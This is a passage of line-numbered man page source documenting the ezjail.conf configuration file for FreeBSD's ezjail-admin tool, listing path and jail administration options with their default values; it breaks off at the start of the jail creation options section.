16.Pa EZJAIL_PREFIX/etc/ezjail.conf ,
17with an example file installed at
18.Pa EZJAIL_PREFIX/etc/ezjail.conf.sample .
19.Pp
20This file is really a shell script that is sourced by the
21.Cm ezjail-admin
22command at run-time.
23.Dq (str)
24denotes a string; it should be enclosed in quotes if it contains space.
25.Dq (bool)
26notes a boolean, whose possible values are
27.Dq YES
28and
29.Dq NO .
30.Sh PATH OPTIONS
31.Bl -tag -width option
32.It ezjail_jaildir (str)
33Location of jail root directories.
34.br
35Default:
36.Em /usr/jails .
37.It ezjail_jailtemplate (str)
38Location of template jail used to create a new jail
39.br
40Default:
41.Em ${ezjail_jaildir}/newjail .
42.It ezjail_jailbase (str)
43Location of base jail, the one that is mounted to all jails
44.br
45Default:
46.Em ${ezjail_jaildir}/basejail .
47.It ezjail_sourcetree (str)
48Location of your copy of FreeBSD's source tree (refer to the
49.Xr ezjail-admin 8
50utility for more information).
51.br
52Default:
53.Em /usr/src .
54.It ezjail_flavours_dir (str)
55Location of the flavours, where each directory is a different flavour.
56.br
57Default:
58.Em ${ezjail_jaildir}/flavours .
59.It ezjail_ftphost (str)
60This is where the install subcommand defaults to fetch its packages from.
61.br
62Default:
63.Em ftp.freebsd.org .
64.It ezjail_archivedir (str)
65This is the default archive location for the
66.Cm ezjail-admin archive
67command.
68.br
69Default:
70.Em ${ezjail_jaildir}/ezjail_archives .
71.El
72.Sh JAIL ADMIN OPTIONS
73.Bl -tag -width option
74.It ezjail_default_execute (str)
75This is the default command executed in a jail by
76.Cm ezjail-admin console .
77.br
78Default:
79.Em /usr/bin/login -f root .
80.It ezjail_exec_start (str)
81The command to execute in a jail when starting it.
82.br
83Default:
84.Em /bin/sh /etc/rc .
85.El
86.Sh JAIL CREATION OPTIONS
87Default options for newly created jails. Used by the